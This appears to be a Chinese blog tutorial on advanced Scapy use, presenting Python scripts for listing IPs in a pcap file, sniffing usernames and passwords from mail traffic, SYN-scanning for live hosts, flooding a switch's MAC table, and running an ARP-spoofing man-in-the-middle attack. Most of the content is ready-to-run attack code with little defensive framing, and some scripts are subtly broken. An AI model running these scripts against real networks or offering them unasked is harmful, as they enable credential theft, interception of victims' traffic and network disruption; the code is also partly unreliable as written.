数据包处理利器——Scapy高级使用(二)

简介: 数据包处理利器——Scapy高级使用(二)

获取pcap文件中的ip


from __future__ import print_function
from sys import argv
from scapy.all import rdpcap, IP
def help_text():
    print("Usage: python all_devices.py path_to_pcap")
    sys.exit()
def extract_host_names(pcap):
    machines = []
    packets = rdpcap(pcap)
    for i in range(len(packets)):
             if packets[i].haslayer(IP) !=1:
                continue
             if packets[i][IP].src not in machines:
                 machines.append(packets[i][IP].src)
                 print(len(machines), packets[i][IP].src)
             elif packets[i][IP].dst not in machines:
                 machines.append(packets[i][IP].dst)
                 print(len(machines), packets[i][IP].dst)
    return machines
if __name__ == '__main__':
    pcap = argv[1]
    if len(argv) < 2:
        help_text()
    print("\nList of all the hosts in pcap =>", extract_host_names(pcap),end="\n\n")


示例:输入pcap文件名,获取ip


[root@VM-8-14-centos ~]# python3 get_pcapip.py 1.pcap 
1 10.0.8.14
2 117.136.38.151
3 169.254.128.18
4 111.123.51.131
5 140.249.214.101
6 169.254.0.4
7 169.254.128.8
8 20.84.56.71
9 169.254.0.55
10 107.189.28.77
11 183.60.82.98
12 165.22.179.40
13 113.128.10.75
14 104.248.123.197
List of all the hosts in pcap => ['10.0.8.14', '117.136.38.151', '169.254.128.18', '111.123.51.131', '140.249.214.101', '169.254.0.4', '169.254.128.8', '20.84.56.71', '169.254.0.55', '107.189.28.77', '183.60.82.98', '165.22.179.40', '113.128.10.75', '104.248.123.197']


嗅探mail上的用户名密码


from scapy.all import *
def packet_callback(packet):
    if packet[TCP].payload:
        mail_packet = str(packet[TCP].payload)
        if "user" in mail_packet.lower() or "pass" in mail_packet.lower():
            print ("[*] Server: %s" % packet[IP].dst)
            print ("[*] %s" % packet[TCP].payload)
sniff(filter="tcp port 110 or tcp port 25 or tcp port 143", prn=packet_callback, store=0)


使用syn数据包探测存活主机


from __future__ import print_function        
from scapy.all import IP, TCP, sr1, sr        
import sys
import logging                                 
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
def help_text():
    print("\nUsage:\n python hd_tcp_syn.py network_range\n")
    sys.exit()
def host_discovery(network_range):
    ans,unans=sr( IP(dst=network_range)/TCP(dport=80,flags="S"),verbose=0,timeout=1)
    ans.summary(lambda(s,r):r.sprintf("\n %IP.src% is alive\n"))
if __name__ == '__main__':
    if len(sys.argv) < 2:
        help_text()
    network_range = sys.argv[1]
    host_discovery(network_range)


交换机MAC地址表泛洪攻击


关于交换机mac泛洪原理之前文章也有介绍过局域网安全攻防


from scapy.all import Ether, IP, TCP, RandIP, RandMAC, sendp
def generate_packets():
    #初始化数据包列表
    packet_list = [] 
    #用一万个随机以太网数据包填充packet_list
    for i in xrange(1,10000):
        packet  = Ether(src = RandMAC(),dst= RandMAC())/IP(src=RandIP(),dst=RandIP())
        packet_list.append(packet)
def cam_overflow(packet_list):
    sendp(packet_list, iface='eth0')
if __name__ == '__main__':
    packet_list = generate_packets()
    cam_overflow(packet_list)


ARP中间人欺骗攻击


关于arp欺骗原理之前文章也有介绍过局域网安全攻防


from scapy.all import *
import sys
import os
import time
try:
 interface = raw_input("[*] Enter  Interface: ")
 victimIP = raw_input("[*] Enter Victim IP: ")
 gateIP = raw_input("[*] Enter Router IP: ")
except KeyboardInterrupt:
 print ("\n[*] User Requested Close")
 print ("[*] Exiting...")
 sys.exit(1)
print ("\n[*] Enabling IP Forwarding...\n")
os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
def get_mac(IP):
 conf.verb = 0
 ans, unans = srp(Ether(dst = "ff:ff:ff:ff:ff:ff")/ARP(pdst = IP), timeout = 2, iface = interface, inter = 0.1)
 for snd,rcv in ans:
  return rcv.sprintf(r"%Ether.src%")
def reARP():
 print ("\n[*] Restoring Targets...")
 victimMAC = get_mac(victimIP)
 gateMAC = get_mac(gateIP)
 send(ARP(op = 2, pdst = gateIP, psrc = victimIP, hwdst = "ff:ff:ff:ff:ff:ff", hwsrc = victimMAC), count = 7)
 send(ARP(op = 2, pdst = victimIP, psrc = gateIP, hwdst = "ff:ff:ff:ff:ff:ff", hwsrc = gateMAC), count = 7)
 print ("[*] Shutting Down...")
 sys.exit(1)
def trick(gm, vm):
 send(ARP(op = 2, pdst = victimIP, psrc = gateIP, hwdst= vm))
 send(ARP(op = 2, pdst = gateIP, psrc = victimIP, hwdst= gm))
def mitm():
 try:
  victimMAC = get_mac(victimIP)
 except Exception: 
  print ("[!] Couldn't Find Victim MAC Address")
  print ("[!] Exiting...")
  sys.exit(1)
 try:
  gateMAC = get_mac(gateIP)
 except Exception: 
  print ("[!] Couldn't Find Gateway MAC Address")
  print ("[!] Exiting...")
  sys.exit(1)
 print ("[*] Poisoning Targets...")
 while 1:
  try:
   trick(gateMAC, victimMAC)
   time.sleep(1.5)
  except KeyboardInterrupt:
   reARP()
   break
if __name__ == '__main__':
    mitm()


相关文章
|
6月前
|
监控 安全 网络安全
使用 Scapy 库编写 ICMP 洪水脚本
使用 Scapy 库编写 ICMP 洪水脚本
使用 Scapy 库编写 ICMP 洪水脚本
|
7月前
|
网络协议 Python
技术笔记:scapy模块基础使用
技术笔记:scapy模块基础使用
|
8月前
|
存储 缓存 监控
使用 Scapy 库编写 ARP 拒绝服务攻击脚本
使用 Scapy 库编写 ARP 拒绝服务攻击脚本
|
网络协议 网络架构
Web协议详解与抓包实战(2)-wireshark中理解网络协议的分层
Web协议详解与抓包实战(2)-wireshark中理解网络协议的分层
85 2
|
运维 网络协议
网络协议分析与抓包工具:Wireshark的高级用法
在网络开发和故障排查中,深入了解网络协议和网络流量是至关重要的。Wireshark作为一款强大的网络协议分析和抓包工具,为开发人员提供了丰富的功能和高级用法。本文将介绍Wireshark的高级用法,包括过滤器的应用、统计信息的分析以及自定义协议的解析。通过掌握这些技巧,您将能够更加深入地分析网络流量,识别问题并加速故障排查过程。
1018 0
|
网络协议 Linux 网络架构
快速学习多协议抓包利器Wireshark
快速学习多协议抓包利器Wireshark
240 0
|
网络协议 Unix Linux
数据包处理利器——Scapy高级使用(一)
数据包处理利器——Scapy高级使用(一)
数据包处理利器——Scapy高级使用(一)
|
缓存 网络协议 Shell
数据包处理利器——Scapy基础知识
数据包处理利器——Scapy基础知识
数据包处理利器——Scapy基础知识
|
缓存 监控 网络协议
Wireshark网络抓包(四)——工具
1. File:了解抓包文件的各种属性,例如抓包文件的名称、路径、文件所含数据包的规模等信息 2. Time:获悉抓包的开始、结束和持续时间 3. Capture:抓包文件由哪块网卡生成、OS版本、Wireshark版本等信息 4. Display:剩下的是汇总统计信息,数据包的总数、数量以及占比情况、网速等
Wireshark网络抓包(四)——工具

热门文章

最新文章